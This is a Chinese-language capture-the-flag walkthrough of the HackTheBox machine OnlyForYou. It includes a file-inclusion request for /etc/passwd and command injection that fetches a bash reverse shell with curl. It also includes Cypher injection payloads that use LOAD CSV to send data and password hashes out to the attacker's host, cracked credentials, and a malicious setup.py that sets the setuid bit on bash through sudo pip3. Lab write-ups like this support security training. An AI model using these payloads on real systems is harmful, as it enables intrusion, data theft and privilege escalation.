准备:
攻击机:虚拟机kali。
靶机:OnlyForYou,htb网站:https://www.hackthebox.com/,靶机地址:https://app.hackthebox.com/machines/OnlyForYou。
知识点:DNS解析、代码审计、文件包含、shell反弹、frp端口转发、Neo4j注入漏洞、ngnix知识了解、md5解密、pip3 download提权。
简单的记录下通过的过程也是帮助自己梳理下整个流程:
一:信息收集
1.nmap扫描
使用nmap对端口进行扫描,命令:sudo nmap --min-rate 10000 -p- 10.10.11.210,显示开放了22端口、80端口,开启了ssh服务、http服务。
对具体的服务信息进行扫描,未发现可以利用的信息,命令:sudo nmap -sT -sV -O -p 22,80,443 10.10.11.210。
2.DNS解析
请求:http://10.10.11.210,访问下WEB服务,发现跳转到了http://only4you.htb/,因此我们需要进行下DNS解析,在/etc/hosts文件中写入:10.10.11.210 only4you.htb。
二:WEB信息分析
1.源码信息
在http://only4you.htb页面的TEAM处发现一个beta产品,访问该产品时跳转到了http://beta.only4you.htb/,因此重复DNS解析将其添加到/etc/hosts文件中。
该页面给我们提供了源码下载,将源码下载下来进行分析,发现对..与../进行了过滤,最后会返回image文件的内容,因此这里应该是存在文件包含漏洞。除了源码外还有resize、convert功能,前者是上传图片并调整大小,后者是jpg与png相互转换。
在http://beta.only4you.htb/页面抓取数据包修改请求方式为POST,修改后数据包信息如下,发送该数据包成功获得/etc/passwd文件的内容,发现可能存在账户john、neo4j、dev。
POST数据包
POST /download HTTP/1.1
Host: beta.only4you.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
image=/etc/passwd
2.文件包含漏洞
前面在nmap扫描时已经发现在80端口开启了nginx服务,因此我们读取下nginx的配置文件,发现三个文件和一个目录:/var/log/nginx/access.log、/var/log/nginx/error.log、/etc/nginx/conf.d/*.conf、/etc/nginx/sites-enabled/*。
依次查看下几个文件,/var/log/nginx/access.log文件中存放的是我们的访问日志,访问/var/log/nginx/error.log时未返回有用信息,/etc/nginx/conf.d/*.conf、/etc/nginx/sites-enabled/*会被拦截。后面查了下nginx配置,在/etc/nginx/sites-enabled/default文件中发现网站的绝对路径:/var/www/only4you.htb/。
尝试请求下网站目录下的文件:app.py,发现form文件,这里注意下:status = sendmessage(email, subject, message, ip)。
读取下form文件,发现存在一个run命令,执行了邮箱名称@之后的内容。因此这里应该是存在一个命令执行漏洞。
三:获取www-data权限shell
后面尝试进行命令执行发现返回信息一直是未授权,就又对源码分析了一波,发现是因为status返回值为1,返回值为1是因为对上面图片中返回的result验证未通过,后来思考了以下,虽然验证未通过但是既然返回了result那肯定是执行过命令了,因此我们尝试直接进行shell反弹。步骤如下:
1.在kali中写一个shell反弹文件shell.sh,内容:bash -i >& /dev/tcp/10.10.14.18/6688 0>&1。
2.在kali开启一个web服务,命令:python -m http.server。
3.在抓取的数据包中修改post数据为:name=upfine&[email protected];curl 10.10.14.18:8000/shell.sh | bash&subject=112345&message=1asdf,然后发送此请求,成功获得shell权限。
四:获取john权限shell
1.端口转发
在www-data权限的shell中经过一番查询只确定了账户名称:john、dev,未发现和密码有关的信息,然后在查询端口时发现存在几个开放的端口:3000、8001、3306、7474、7687等端口。
使用frp将这几个端口的流量转到到kali中,注意服务端与客户端不要用反了,靶机用的是客户端,可以参考我的这边文章:https://www.cnblogs.com/upfine/p/17266632.html。几个端口的访问情况依次如下:
2.Neo4j注入漏洞
在8001端口的登录框进行登录时发现使用:admin/admin可以成功登录。在该服务中的EMPLOYEES中发现存在搜索功能,猜测可能存在注入漏洞。
请求7474端口的时候未返回页面信息,但是frp中先是的信息已被占用,因此猜测应该是数据库类的服务在后端占用,观察请求页面,虽然未返回信息,但是标签上告诉了我们是neo4j。查了下neo4j的介绍,发现是一个高性能的NOSQL图形数据库,前面我们猜测正确。
那就找下neo4j的注入方法:https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j#common-cypher-injections。先尝试获取下版本号,发现确实存在注入漏洞。
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.18:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
然后获取下表中的节点信息,语句:1' OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.18:8000/?label='+label as l RETURN 0 as _0 //,获得节点user、employee。
然后查询下user节点的值,语句:1' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.18:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //,获得两个加密的密码值:
#解密前
admin:8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
john:a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6
#解密后
8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918:admin
a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6:ThisIs4You
3.获取john权限shell
使用获得账户和密码:john/ThisIs4You进行ssh登录,成功获得shell权限并读取到第一个flag。
五:提权
查看下当前账户是否存在可以使用的特权命令,sudo -l,发现:/usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz,意思是允许john用户使用pip3 download 3000端口的压缩文件。
查找下该情况的提权方式,在这里:https://github.com/wunderwuzzi23/this_is_fine_wuzzi.git下载demo文件,然后修改setup.py文件,在该目录执行:python3 -m build,执行完之后会在生成一个dist目录,该目录下存在一个this_is_fine_wuzzi-0.0.1.tar.gz文件,即是我们需要的文件。
setup.py
import os
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
def RunCommand():
os.system("chmod +s /bin/bash")
class RunEggInfoCommand(egg_info):
def run(self):
RunCommand()
egg_info.run(self)
class RunInstallCommand(install):
def run(self):
RunCommand()
install.run(self)
setup(
name = "this_is_fine_wuzzi",
version = "0.0.1",
license = "MIT",
packages=find_packages(),
cmdclass={
'install' : RunInstallCommand,
'egg_info': RunEggInfoCommand
},
)
使用john/ThisIs4You登录3000端口的Gogs服务进行查看,但是Test仓库显示是有锁的需要认证,那首先就需要对其进行解锁设置,然后将文件进行上传。
上传文件后切执行:sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/src/master/this_is_fine_wuzzi-0.0.1.tar.gz,然后执行bash -p即可获得root权限并在root目录下获取到flag值。